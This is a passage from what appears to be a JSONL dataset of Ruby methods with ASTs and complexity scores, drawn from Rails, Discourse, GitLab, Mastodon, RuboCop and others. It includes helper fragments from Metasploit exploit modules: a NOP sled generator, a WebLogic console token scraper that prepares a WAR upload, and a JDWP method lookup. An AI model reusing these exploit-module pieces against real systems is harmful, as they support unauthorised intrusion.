4189-bb3d-fb7ea9294752"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/nops/tty/generic.rb","start_line":24,"raw_source":"def generate_sled(length, _opts = {})\n    # Default to just spaces for now\n    ' ' * length\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_sled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"length\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}","id":"5beec0c2-13c2-42e4-869a-56432405aca4"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/literal_as_condition.rb","start_line":57,"raw_source":"def on_or(node)\n          return unless node.lhs.falsey_literal?\n\n          add_offense(node.lhs) do |corrector|\n            # Don't autocorrect `'foo' && return` because having `return` as\n            # the leftmost node can lead to a void value expression syntax error.\n            next if node.rhs.type?(:return, :break, :next)\n\n            corrector.replace(node, node.rhs.source)\n          end\n        end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_or\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"lhs\"]},\"falsey_literal?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"lhs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"rhs\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"return\"]},{\"type\":\"sym\",\"children\":[\"break\"]},{\"type\":\"sym\",\"children\":[\"next\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"rhs\"]},\"source\"]}]}]}]}]}]}","id":"48a34763-2788-42fb-9055-7e0a91111a49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/oats_weblogic_console.rb","start_line":158,"raw_source":"def get_deploy_frsc\n    # First we are just going through the pages in a specific order to get the FRSC value\n    # we need to prepare uploading the WAR file.\n    res = nil\n    requests =\n      [\n        { path: 'console/', vars: {} },\n        { path: 'console/console.portal', vars: { '_nfpb' => \"true\" } },\n        { path: 'console/console.portal', vars: { '_nfpb' => \"true\", '_pageLabel' => 'HomePage1' } }\n      ]\n\n    requests.each do |req|\n      res = send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, req[:path]),\n        'cookie' => \"ADMINCONSOLESESSION=#{login_spec.admin_console_session}\",\n        'vars_get' => req[:vars]\n      })\n\n      fail_with(Failure::Unknown, 'No response while retrieving FRSC') unless res\n    end\n\n    html = res.get_html_document\n    hidden_input = html.at('input[@name=\"ChangeManagerPortletfrsc\"]')\n    frsc_attr = hidden_input.respond_to?(:attributes) ? hidden_input.attributes['value'] : nil\n    frsc_attr ? frsc_attr.value : ''\n  end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_deploy_frsc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"requests\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"console/\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vars\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"console/console.portal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_nfpb\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"console/console.portal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_nfpb\"]},{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_pageLabel\"]},{\"type\":\"str\",\"children\":[\"HomePage1\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"requests\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ADMINCONSOLESESSION=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login_spec\"]},\"admin_console_session\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vars\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"No response while retrieving FRSC\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hidden_input\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"at\",{\"type\":\"str\",\"children\":[\"input[@name=\\\"ChangeManagerPortletfrsc\\\"]\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"frsc_attr\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hidden_input\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hidden_input\"]},\"attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frsc_attr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frsc_attr\"]},\"value\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"da82cf7d-5fdd-4c5f-8421-b7ad6e3c61bd"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/gemini/capabilities.rb","start_line":243,"raw_source":"def pricing_for(model_id)\n          family = pricing_family(model_id)\n          prices = PRICES.fetch(family, { input: default_input_price, output: default_output_price })\n\n          standard_pricing = {\n            input_per_million: prices[:input],\n            output_per_million: prices[:output]\n          }\n\n          standard_pricing[:cached_input_per_million] = prices[:input_hit] if prices[:input_hit]\n\n          batch_pricing = {\n            input_per_million: (standard_pricing[:input_per_million] || 0) * 0.5,\n            output_per_million: (standard_pricing[:output_per_million] || 0) * 0.5\n          }\n\n          if standard_pricing[:cached_input_per_million]\n            batch_pricing[:cached_input_per_million] = standard_pricing[:cached_input_per_million] * 0.5\n          end\n\n          pricing = {\n            text_tokens: {\n              standard: standard_pricing,\n              batch: batch_pricing\n            }\n          }\n\n          if model_id.match?(/embedding|gemini-embedding/)\n            pricing[:embeddings] = {\n              standard: { input_per_million: prices[:price] || 0.002 }\n            }\n          end\n\n          pricing\n        end","complexity_score":34.73,"ast_json":"{\"type\":\"def\",\"children\":[\"pricing_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"family\",{\"type\":\"send\",\"children\":[null,\"pricing_family\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prices\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRICES\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"family\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"send\",\"children\":[null,\"default_input_price\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"send\",\"children\":[null,\"default_output_price\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"standard_pricing\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"input\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"input_hit\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cached_input_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"input_hit\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"batch_pricing\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"input_per_million\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"*\",{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output_per_million\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"*\",{\"type\":\"float\",\"children\":[0.5]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached_input_per_million\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch_pricing\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cached_input_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached_input_per_million\"]}]},\"*\",{\"type\":\"float\",\"children\":[0.5]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pricing\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_tokens\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"standard\"]},{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch\"]},{\"type\":\"lvar\",\"children\":[\"batch_pricing\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"embedding|gemini-embedding\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pricing\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"embeddings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"standard\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_per_million\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"price\"]}]},{\"type\":\"float\",\"children\":[0.002]}]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"pricing\"]}]}]}","id":"16aaf638-df48-46c0-904b-68a21aa1a922"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation.rb","start_line":178,"raw_source":"def first_or_create(attributes = nil, &block) # :nodoc:\n      first || create(attributes, &block)\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"first_or_create\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"048e80aa-aeed-43e4-98f8-cd6caecd985b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/upload.rb","start_line":89,"raw_source":"def self.add_unused_callback(&block)\n    (@unused_callbacks ||= []) << block\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_unused_callback\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unused_callbacks\"]},{\"type\":\"array\",\"children\":[]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}","id":"c0d9e634-8bc1-4537-a641-fc49646242bf"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/local_minio_s3.rb","start_line":7,"raw_source":"def run\n    begin\n      start_minio\n      save_old_config\n      change_to_minio_settings\n      puts \"Press any key when done...\"\n      gets\n      restore_old\n    rescue SystemExit, Interrupt\n      restore_old\n      raise\n    end\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_minio\"]},{\"type\":\"send\",\"children\":[null,\"save_old_config\"]},{\"type\":\"send\",\"children\":[null,\"change_to_minio_settings\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"Press any key when done...\"]}]},{\"type\":\"send\",\"children\":[null,\"gets\"]},{\"type\":\"send\",\"children\":[null,\"restore_old\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemExit\"]},{\"type\":\"const\",\"children\":[null,\"Interrupt\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restore_old\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]}","id":"6651e192-804c-43ec-8577-8338a6b3d2fd"}
{"repo_name":"parallel","file_path":"./repos/parallel/lib/parallel.rb","start_line":228,"raw_source":"def in_processes(options = {}, &block)\n      count, options = extract_count_from_options(options)\n      count ||= processor_count\n      map(0...count, options.merge(in_processes: count), &block)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"in_processes\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},{\"type\":\"lvasgn\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_count_from_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[null,\"processor_count\"]}]},{\"type\":\"send\",\"children\":[null,\"map\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_processes\"]},{\"type\":\"lvar\",\"children\":[\"count\"]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"639584dc-2abb-41f7-a137-c00d4651643c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/status_reach_finder.rb","start_line":69,"raw_source":"def reblogs_account_ids\n    @status.reblogs.rewhere(deleted_at: [nil, @status.deleted_at]).pluck(:account_id) if distributable? || unsafe?\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reblogs_account_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"distributable?\"]},{\"type\":\"send\",\"children\":[null,\"unsafe?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"reblogs\"]},\"rewhere\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"deleted_at\"]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"account_id\"]}]},null]}]}","id":"60826964-0141-4405-a67c-11bdb037734a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/provisioning_profile.rb","start_line":543,"raw_source":"def profile_details\n        # Since 15th September 2016 certificates and devices are hidden behind another request\n        # see https://github.com/fastlane/fastlane/issues/6137 for more information\n        @profile_details ||= client.provisioning_profile_details(provisioning_profile_id: self.id, mac: mac?)\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@profile_details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"provisioning_profile_details\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provisioning_profile_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"send\",\"children\":[null,\"mac?\"]}]}]}]}]}]}","id":"5256b8eb-b2ad-4d70-8b2b-40d157aebc2c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/java_jdwp_debugger.rb","start_line":438,"raw_source":"def get_method_by_name(classname, name, signature = nil)\n    @methods[classname].each do |entry|\n      if signature.nil?\n        return entry if entry[\"name\"].downcase == name.downcase\n      else\n        if entry[\"name\"].downcase == name.downcase && entry[\"signature\"].downcase == signature.downcase\n          return entry\n        end\n      end\n    end\n\n    nil\n  end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_method_by_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"classname\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"signature\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@methods\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"classname\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signature\"]},\"nil?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"downcase\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"signature\"]}]},\"downcase\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signature\"]},\"downcase\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"93b453a9-6dd9-4026-8dcb-020c8cb67934"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/delete_user_groups.rb","start_line":81,"raw_source":"def delete_user_groups(groups)\n        if @dry_run\n          log_dry_run_output(groups)\n          return\n        end\n\n        if groups.empty?\n          logger.info(\"No groups found\\n\")\n          return\n        end\n\n        delete_resources(groups)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_user_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dry_run\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_dry_run_output\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"No groups found\\n\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"delete_resources\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]}]}","id":"d1f54c0a-19eb-4e7d-9c40-b102ccd5ba64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/generate_rspec_pipeline.rb","start_line":173,"raw_source":"def knapsack_report\n    @knapsack_report ||=\n      begin\n        File.exist?(knapsack_report_path) ? JSON.parse(File.read(knapsack_report_path)) : {}\n      rescue JSON::ParserError => e\n        info \"[ERROR] Knapsack report at #{knapsack_report_path} couldn't be parsed! Error:\\n#{e}\"\n        {}\n      end\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"knapsack_report\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@knapsack_report\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[null,\"knapsack_report_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"knapsack_report_path\"]}]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[ERROR] Knapsack report at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"knapsack_report_path\"]}]},{\"type\":\"str\",\"children\":[\" couldn't be parsed! Error:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},null]}]}]}]}","id":"e70ad41a-1af4-4200-9ff2-9530a4cb3805"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1378,"raw_source":"def test_only_populates_columns_that_exist\n    assert_not_nil(pirates(:blackbeard).created_on)\n    assert_not_nil(pirates(:blackbeard).updated_on)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_only_populates_columns_that_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pirates\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"created_on\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pirates\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"updated_on\"]}]}]}]}","id":"3ffe5d3b-dff2-4cbe-b6ff-2edbd7fc938b"}
